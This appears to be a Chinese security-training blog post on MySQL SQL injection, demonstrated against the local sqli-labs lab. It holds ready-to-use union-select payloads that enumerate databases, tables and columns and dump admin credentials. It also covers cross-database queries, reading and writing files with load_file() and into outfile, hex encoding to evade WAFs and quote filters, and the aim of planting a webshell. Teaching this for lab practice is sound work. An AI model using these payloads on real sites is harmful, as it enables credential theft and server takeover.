Web攻防02-MySQL注入概述&MySQL架构&注入获取数据

文章目录

  • SQL注入概述:
      • sql注入的原理:
      • sql注入攻击:
  • MYSQL-Web组成架构
      • MYSQL5.0以上版本:自带的数据库information_schema
  • MYSQL注入流程
  • MYSQL注入查询数据过程
      • 查询数据流程
      • 靶场案例
  • MYSQL-SQL跨库注入查询
      • 跨库注入:
      • 影响条件:
      • 应用:
  • MYSQL-SQL文件读写
      • 影响条件:
      • 利用思路-读写的路径的问题:

Web攻防02-MySQL注入概述&MySQL架构&注入获取数据_第1张图片

SQL注入概述:

sql注入的原理:

接收的数值未进行过滤直接带入SQL进行查询操作。

sql注入攻击:

利用以上原理中SQL语句执行,查询出数据库中的信息(SQL语句执行能干什么,注入就能干什么)

SQL语句能干嘛–>SQL语句由谁决定 —> 数据库类型决定(所以SQL注入分为MySQL注入、Oracle注入等)

MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据集中存储在MYSQL数据库中管理

可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

access无数据库用户

1、统一交root用户管理

www.zblog.com = zblog = root =>MYSQL

www.demo01.com = demo01 = root =>MYSQL

2、一对一用户管理(推荐)

www.zblog.com = zblog = zblog =>MYSQL

www.demo01.com = demo01 = demo01 =>MYSQL

MYSQL5.0以上版本:自带的数据库information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

MYSQL注入流程

1、判断常见四个信息(系统,用户,数据库名,版本)

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

为什么要先测试读写:

因为目的一般是为了获取当前web权限,若能读写文件,直接后门获取权限

一般获取数据是为了登录后台,登录后想办法上传webshell —> 获取权限

所以说就算获取到了数据,也不一定能够拿到权限。因为可能进去后台了但是后台里面啥都没有

非root用户:直接测试获取数据

MYSQL注入查询数据过程

ACCESS数据库没有类似MySQL中的information_schema这种东西,所以

access注入 sqlmap 只能靠字典去猜,又可能会猜不到表名,列名,就获取不到数据

依次从information_schema中查出数据库名,数据库所有表名、列名

然后根据以上信息查询数据。

order by 6 (字段个数)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

union select 1,2,3,username,password,6 from admin limit 0,1

查询数据流程

目的:获取数据

一步步得到信息,先获取数据库名,再获取其中表名,然后获取列名,最后查询数据。其中每一步都尽可能筛选出一些敏感信息如admin,password等。

order by 6 (字段个数)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

union select 1,2,3,username,password,6 from admin limit 0,1

靶场案例

1、确认有注入点

http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+

Web攻防02-MySQL注入概述&MySQL架构&注入获取数据_第2张图片

2、确认回显位置:

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

Web攻防02-MySQL注入概述&MySQL架构&注入获取数据_第3张图片

3、获取数据库名以及用户:

localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+

若用户为root用户则可以进行跨库注入查询。

Web攻防02-MySQL注入概述&MySQL架构&注入获取数据_第4张图片

4、获取库中所有表名:

localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+

Web攻防02-MySQL注入概述&MySQL架构&注入获取数据_第5张图片

5、选取可能有敏感信息(账号密码)的表进行查列:

6、查列后根据库名表名列名查询数据

MYSQL-SQL跨库注入查询

跨库注入:

如果注入点是一个root用户管理的点,就可以查到所有库

—> 可以实现从A网站(由root用户管理)的注入点跨库查询到B网站(由非root用户管理)的数据

影响条件:

管理当前数据库的用户是否为ROOT权限

测试不同数据库用户

应用:

通过B网站的注入点获取A网站的账号密码/数据

MYSQL-SQL文件读写

通过SQL注入,使用SQL语句中的load_file()读取文件

使用SQL语句中的into outfile将内容写入文件

影响条件:

1、当前数据库用户权限

root权限才可使用load_file()读取文件。

2、secure-file-priv设置

设置后就无法读取了

my.ini中固定

高版本的MySQL自带该保护,默认开启。只存在一些中低版本

测试不同数据库用户:root demo

union select 1,load_file('d:\\1.txt'),3,4,5,6

union select 1,'eval',3,4,5,6 into outfile 'd:\\2.txt'

可以将路径改编码,—> 十六进制编码 —> 为了绕过WAF或者单引号过滤等。

用十六进制,前面加0x,即可不要单引号

单引号过滤绕过方式

SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

利用思路-读写的路径的问题:

1、报错显示获取路径

2、phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径,读取有价值信息

现在很少出现该漏洞了

你可能感兴趣的:(安全学习-Web攻防,mysql,安全,学习,sql)